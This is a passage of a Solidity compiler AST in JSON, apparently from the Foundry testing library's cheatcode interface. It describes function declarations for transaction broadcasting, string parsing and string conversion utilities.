onchain."},"functionSelector":"f67a965b","implemented":false,"kind":"function","modifiers":[],"name":"broadcast","nameLocation":"33657:9:13","parameters":{"id":13300,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13299,"mutability":"mutable","name":"privateKey","nameLocation":"33675:10:13","nodeType":"VariableDeclaration","scope":13302,"src":"33667:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13298,"name":"uint256","nodeType":"ElementaryTypeName","src":"33667:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"33666:20:13"},"returnParameters":{"id":13301,"nodeType":"ParameterList","parameters":[],"src":"33695:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13306,"nodeType":"FunctionDefinition","src":"33880:35:13","nodes":[],"documentation":{"id":13303,"nodeType":"StructuredDocumentation","src":"33702:173:13","text":"Using the address that calls the test contract, has all subsequent calls\n (at this call depth only) create transactions that can later be signed and sent onchain."},"functionSelector":"7fb5297f","implemented":false,"kind":"function","modifiers":[],"name":"startBroadcast","nameLocation":"33889:14:13","parameters":{"id":13304,"nodeType":"ParameterList","parameters":[],"src":"33903:2:13"},"returnParameters":{"id":13305,"nodeType":"ParameterList","parameters":[],"src":"33914:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13312,"nodeType":"FunctionDefinition","src":"34077:49:13","nodes":[],"documentation":{"id":13307,"nodeType":"StructuredDocumentation","src":"33921:151:13","text":"Has all subsequent calls (at this call depth only) create transactions with the address\n provided that can later be signed and sent onchain."},"functionSelector":"7fec2a8d","implemented":false,"kind":"function","modifiers":[],"name":"startBroadcast","nameLocation":"34086:14:13","parameters":{"id":13310,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13309,"mutability":"mutable","name":"signer","nameLocation":"34109:6:13","nodeType":"VariableDeclaration","scope":13312,"src":"34101:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13308,"name":"address","nodeType":"ElementaryTypeName","src":"34101:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"34100:16:13"},"returnParameters":{"id":13311,"nodeType":"ParameterList","parameters":[],"src":"34125:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13318,"nodeType":"FunctionDefinition","src":"34292:53:13","nodes":[],"documentation":{"id":13313,"nodeType":"StructuredDocumentation","src":"34132:155:13","text":"Has all subsequent calls (at this call depth only) create transactions with the private key\n provided that can later be signed and sent onchain."},"functionSelector":"ce817d47","implemented":false,"kind":"function","modifiers":[],"name":"startBroadcast","nameLocation":"34301:14:13","parameters":{"id":13316,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13315,"mutability":"mutable","name":"privateKey","nameLocation":"34324:10:13","nodeType":"VariableDeclaration","scope":13318,"src":"34316:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13314,"name":"uint256","nodeType":"ElementaryTypeName","src":"34316:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"34315:20:13"},"returnParameters":{"id":13317,"nodeType":"ParameterList","parameters":[],"src":"34344:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13322,"nodeType":"FunctionDefinition","src":"34398:34:13","nodes":[],"documentation":{"id":13319,"nodeType":"StructuredDocumentation","src":"34351:42:13","text":"Stops collecting onchain transactions."},"functionSelector":"76eadd36","implemented":false,"kind":"function","modifiers":[],"name":"stopBroadcast","nameLocation":"34407:13:13","parameters":{"id":13320,"nodeType":"ParameterList","parameters":[],"src":"34420:2:13"},"returnParameters":{"id":13321,"nodeType":"ParameterList","parameters":[],"src":"34431:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13330,"nodeType":"FunctionDefinition","src":"34524:100:13","nodes":[],"documentation":{"id":13323,"nodeType":"StructuredDocumentation","src":"34471:48:13","text":"Parses the given `string` into an `address`."},"functionSelector":"c6ce059d","implemented":false,"kind":"function","modifiers":[],"name":"parseAddress","nameLocation":"34533:12:13","parameters":{"id":13326,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13325,"mutability":"mutable","name":"stringifiedValue","nameLocation":"34562:16:13","nodeType":"VariableDeclaration","scope":13330,"src":"34546:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13324,"name":"string","nodeType":"ElementaryTypeName","src":"34546:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"34545:34:13"},"returnParameters":{"id":13329,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13328,"mutability":"mutable","name":"parsedValue","nameLocation":"34611:11:13","nodeType":"VariableDeclaration","scope":13330,"src":"34603:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13327,"name":"address","nodeType":"ElementaryTypeName","src":"34603:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"34602:21:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13338,"nodeType":"FunctionDefinition","src":"34679:94:13","nodes":[],"documentation":{"id":13331,"nodeType":"StructuredDocumentation","src":"34630:44:13","text":"Parses the given `string` into a `bool`."},"functionSelector":"974ef924","implemented":false,"kind":"function","modifiers":[],"name":"parseBool","nameLocation":"34688:9:13","parameters":{"id":13334,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13333,"mutability":"mutable","name":"stringifiedValue","nameLocation":"34714:16:13","nodeType":"VariableDeclaration","scope":13338,"src":"34698:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13332,"name":"string","nodeType":"ElementaryTypeName","src":"34698:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"34697:34:13"},"returnParameters":{"id":13337,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13336,"mutability":"mutable","name":"parsedValue","nameLocation":"34760:11:13","nodeType":"VariableDeclaration","scope":13338,"src":"34755:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13335,"name":"bool","nodeType":"ElementaryTypeName","src":"34755:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"34754:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13346,"nodeType":"FunctionDefinition","src":"34827:103:13","nodes":[],"documentation":{"id":13339,"nodeType":"StructuredDocumentation","src":"34779:43:13","text":"Parses the given `string` into `bytes`."},"functionSelector":"8f5d232d","implemented":false,"kind":"function","modifiers":[],"name":"parseBytes","nameLocation":"34836:10:13","parameters":{"id":13342,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13341,"mutability":"mutable","name":"stringifiedValue","nameLocation":"34863:16:13","nodeType":"VariableDeclaration","scope":13346,"src":"34847:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13340,"name":"string","nodeType":"ElementaryTypeName","src":"34847:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"34846:34:13"},"returnParameters":{"id":13345,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13344,"mutability":"mutable","name":"parsedValue","nameLocation":"34917:11:13","nodeType":"VariableDeclaration","scope":13346,"src":"34904:24:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":13343,"name":"bytes","nodeType":"ElementaryTypeName","src":"34904:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"34903:26:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13354,"nodeType":"FunctionDefinition","src":"34988:100:13","nodes":[],"documentation":{"id":13347,"nodeType":"StructuredDocumentation","src":"34936:47:13","text":"Parses the given `string` into a `bytes32`."},"functionSelector":"087e6e81","implemented":false,"kind":"function","modifiers":[],"name":"parseBytes32","nameLocation":"34997:12:13","parameters":{"id":13350,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13349,"mutability":"mutable","name":"stringifiedValue","nameLocation":"35026:16:13","nodeType":"VariableDeclaration","scope":13354,"src":"35010:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13348,"name":"string","nodeType":"ElementaryTypeName","src":"35010:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35009:34:13"},"returnParameters":{"id":13353,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13352,"mutability":"mutable","name":"parsedValue","nameLocation":"35075:11:13","nodeType":"VariableDeclaration","scope":13354,"src":"35067:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13351,"name":"bytes32","nodeType":"ElementaryTypeName","src":"35067:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"35066:21:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13362,"nodeType":"FunctionDefinition","src":"35145:95:13","nodes":[],"documentation":{"id":13355,"nodeType":"StructuredDocumentation","src":"35094:46:13","text":"Parses the given `string` into a `int256`."},"functionSelector":"42346c5e","implemented":false,"kind":"function","modifiers":[],"name":"parseInt","nameLocation":"35154:8:13","parameters":{"id":13358,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13357,"mutability":"mutable","name":"stringifiedValue","nameLocation":"35179:16:13","nodeType":"VariableDeclaration","scope":13362,"src":"35163:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13356,"name":"string","nodeType":"ElementaryTypeName","src":"35163:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35162:34:13"},"returnParameters":{"id":13361,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13360,"mutability":"mutable","name":"parsedValue","nameLocation":"35227:11:13","nodeType":"VariableDeclaration","scope":13362,"src":"35220:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13359,"name":"int256","nodeType":"ElementaryTypeName","src":"35220:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"35219:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13370,"nodeType":"FunctionDefinition","src":"35298:97:13","nodes":[],"documentation":{"id":13363,"nodeType":"StructuredDocumentation","src":"35246:47:13","text":"Parses the given `string` into a `uint256`."},"functionSelector":"fa91454d","implemented":false,"kind":"function","modifiers":[],"name":"parseUint","nameLocation":"35307:9:13","parameters":{"id":13366,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13365,"mutability":"mutable","name":"stringifiedValue","nameLocation":"35333:16:13","nodeType":"VariableDeclaration","scope":13370,"src":"35317:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13364,"name":"string","nodeType":"ElementaryTypeName","src":"35317:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35316:34:13"},"returnParameters":{"id":13369,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13368,"mutability":"mutable","name":"parsedValue","nameLocation":"35382:11:13","nodeType":"VariableDeclaration","scope":13370,"src":"35374:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13367,"name":"uint256","nodeType":"ElementaryTypeName","src":"35374:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"35373:21:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13382,"nodeType":"FunctionDefinition","src":"35473:151:13","nodes":[],"documentation":{"id":13371,"nodeType":"StructuredDocumentation","src":"35401:67:13","text":"Replaces occurrences of `from` in the given `string` with `to`."},"functionSelector":"e00ad03e","implemented":false,"kind":"function","modifiers":[],"name":"replace","nameLocation":"35482:7:13","parameters":{"id":13378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13373,"mutability":"mutable","name":"input","nameLocation":"35506:5:13","nodeType":"VariableDeclaration","scope":13382,"src":"35490:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13372,"name":"string","nodeType":"ElementaryTypeName","src":"35490:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13375,"mutability":"mutable","name":"from","nameLocation":"35529:4:13","nodeType":"VariableDeclaration","scope":13382,"src":"35513:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13374,"name":"string","nodeType":"ElementaryTypeName","src":"35513:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13377,"mutability":"mutable","name":"to","nameLocation":"35551:2:13","nodeType":"VariableDeclaration","scope":13382,"src":"35535:18:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13376,"name":"string","nodeType":"ElementaryTypeName","src":"35535:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35489:65:13"},"returnParameters":{"id":13381,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13380,"mutability":"mutable","name":"output","nameLocation":"35616:6:13","nodeType":"VariableDeclaration","scope":13382,"src":"35602:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13379,"name":"string","nodeType":"ElementaryTypeName","src":"35602:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35601:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13393,"nodeType":"FunctionDefinition","src":"35717:113:13","nodes":[],"documentation":{"id":13383,"nodeType":"StructuredDocumentation","src":"35630:82:13","text":"Splits the given `string` into an array of strings divided by the `delimiter`."},"functionSelector":"8bb75533","implemented":false,"kind":"function","modifiers":[],"name":"split","nameLocation":"35726:5:13","parameters":{"id":13388,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13385,"mutability":"mutable","name":"input","nameLocation":"35748:5:13","nodeType":"VariableDeclaration","scope":13393,"src":"35732:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13384,"name":"string","nodeType":"ElementaryTypeName","src":"35732:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13387,"mutability":"mutable","name":"delimiter","nameLocation":"35771:9:13","nodeType":"VariableDeclaration","scope":13393,"src":"35755:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13386,"name":"string","nodeType":"ElementaryTypeName","src":"35755:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35731:50:13"},"returnParameters":{"id":13392,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13391,"mutability":"mutable","name":"outputs","nameLocation":"35821:7:13","nodeType":"VariableDeclaration","scope":13393,"src":"35805:23:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13389,"name":"string","nodeType":"ElementaryTypeName","src":"35805:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13390,"nodeType":"ArrayTypeName","src":"35805:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"35804:25:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13401,"nodeType":"FunctionDefinition","src":"35892:89:13","nodes":[],"documentation":{"id":13394,"nodeType":"StructuredDocumentation","src":"35836:51:13","text":"Converts the given `string` value to Lowercase."},"functionSelector":"50bb0884","implemented":false,"kind":"function","modifiers":[],"name":"toLowercase","nameLocation":"35901:11:13","parameters":{"id":13397,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13396,"mutability":"mutable","name":"input","nameLocation":"35929:5:13","nodeType":"VariableDeclaration","scope":13401,"src":"35913:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13395,"name":"string","nodeType":"ElementaryTypeName","src":"35913:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35912:23:13"},"returnParameters":{"id":13400,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13399,"mutability":"mutable","name":"output","nameLocation":"35973:6:13","nodeType":"VariableDeclaration","scope":13401,"src":"35959:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13398,"name":"string","nodeType":"ElementaryTypeName","src":"35959:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35958:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13409,"nodeType":"FunctionDefinition","src":"36035:88:13","nodes":[],"documentation":{"id":13402,"nodeType":"StructuredDocumentation","src":"35987:43:13","text":"Converts the given value to a `string`."},"functionSelector":"56ca623e","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36044:8:13","parameters":{"id":13405,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13404,"mutability":"mutable","name":"value","nameLocation":"36061:5:13","nodeType":"VariableDeclaration","scope":13409,"src":"36053:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13403,"name":"address","nodeType":"ElementaryTypeName","src":"36053:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"36052:15:13"},"returnParameters":{"id":13408,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13407,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36105:16:13","nodeType":"VariableDeclaration","scope":13409,"src":"36091:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13406,"name":"string","nodeType":"ElementaryTypeName","src":"36091:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36090:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13417,"nodeType":"FunctionDefinition","src":"36177:95:13","nodes":[],"documentation":{"id":13410,"nodeType":"StructuredDocumentation","src":"36129:43:13","text":"Converts the given value to a `string`."},"functionSelector":"71aad10d","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36186:8:13","parameters":{"id":13413,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13412,"mutability":"mutable","name":"value","nameLocation":"36210:5:13","nodeType":"VariableDeclaration","scope":13417,"src":"36195:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13411,"name":"bytes","nodeType":"ElementaryTypeName","src":"36195:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"36194:22:13"},"returnParameters":{"id":13416,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13415,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36254:16:13","nodeType":"VariableDeclaration","scope":13417,"src":"36240:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13414,"name":"string","nodeType":"ElementaryTypeName","src":"36240:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36239:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13425,"nodeType":"FunctionDefinition","src":"36326:88:13","nodes":[],"documentation":{"id":13418,"nodeType":"StructuredDocumentation","src":"36278:43:13","text":"Converts the given value to a `string`."},"functionSelector":"b11a19e8","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36335:8:13","parameters":{"id":13421,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13420,"mutability":"mutable","name":"value","nameLocation":"36352:5:13","nodeType":"VariableDeclaration","scope":13425,"src":"36344:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13419,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36344:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"36343:15:13"},"returnParameters":{"id":13424,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13423,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36396:16:13","nodeType":"VariableDeclaration","scope":13425,"src":"36382:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13422,"name":"string","nodeType":"ElementaryTypeName","src":"36382:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36381:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13433,"nodeType":"FunctionDefinition","src":"36468:85:13","nodes":[],"documentation":{"id":13426,"nodeType":"StructuredDocumentation","src":"36420:43:13","text":"Converts the given value to a `string`."},"functionSelector":"71dce7da","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36477:8:13","parameters":{"id":13429,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13428,"mutability":"mutable","name":"value","nameLocation":"36491:5:13","nodeType":"VariableDeclaration","scope":13433,"src":"36486:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13427,"name":"bool","nodeType":"ElementaryTypeName","src":"36486:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"36485:12:13"},"returnParameters":{"id":13432,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13431,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36535:16:13","nodeType":"VariableDeclaration","scope":13433,"src":"36521:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13430,"name":"string","nodeType":"ElementaryTypeName","src":"36521:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36520:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13441,"nodeType":"FunctionDefinition","src":"36607:88:13","nodes":[],"documentation":{"id":13434,"nodeType":"StructuredDocumentation","src":"36559:43:13","text":"Converts the given value to a `string`."},"functionSelector":"6900a3ae","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36616:8:13","parameters":{"id":13437,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13436,"mutability":"mutable","name":"value","nameLocation":"36633:5:13","nodeType":"VariableDeclaration","scope":13441,"src":"36625:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13435,"name":"uint256","nodeType":"ElementaryTypeName","src":"36625:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"36624:15:13"},"returnParameters":{"id":13440,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13439,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36677:16:13","nodeType":"VariableDeclaration","scope":13441,"src":"36663:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13438,"name":"string","nodeType":"ElementaryTypeName","src":"36663:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36662:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13449,"nodeType":"FunctionDefinition","src":"36749:87:13","nodes":[],"documentation":{"id":13442,"nodeType":"StructuredDocumentation","src":"36701:43:13","text":"Converts the given value to a `string`."},"functionSelector":"a322c40e","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36758:8:13","parameters":{"id":13445,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13444,"mutability":"mutable","name":"value","nameLocation":"36774:5:13","nodeType":"VariableDeclaration","scope":13449,"src":"36767:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13443,"name":"int256","nodeType":"ElementaryTypeName","src":"36767:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"36766:14:13"},"returnParameters":{"id":13448,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13447,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36818:16:13","nodeType":"VariableDeclaration","scope":13449,"src":"36804:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13446,"name":"string","nodeType":"ElementaryTypeName","src":"36804:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36803:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13457,"nodeType":"FunctionDefinition","src":"36898:89:13","nodes":[],"documentation":{"id":13450,"nodeType":"StructuredDocumentation","src":"36842:51:13","text":"Converts the given `string` value to Uppercase."},"functionSelector":"074ae3d7","implemented":false,"kind":"function","modifiers":[],"name":"toUppercase","nameLocation":"36907:11:13","parameters":{"id":13453,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13452,"mutability":"mutable","name":"input","nameLocation":"36935:5:13","nodeType":"VariableDeclaration","scope":13457,"src":"36919:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13451,"name":"string","nodeType":"ElementaryTypeName","src":"36919:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36918:23:13"},"returnParameters":{"id":13456,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13455,"mutability":"mutable","name":"output","nameLocation":"36979:6:13","nodeType":"VariableDeclaration","scope":13457,"src":"36965:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13454,"name":"string","nodeType":"ElementaryTypeName","src":"36965:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36964:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13465,"nodeType":"FunctionDefinition","src":"37070:82:13","nodes":[],"documentation":{"id":13458,"nodeType":"StructuredDocumentation","src":"36993:72:13","text":"Trims leading and trailing whitespace from the given `string` 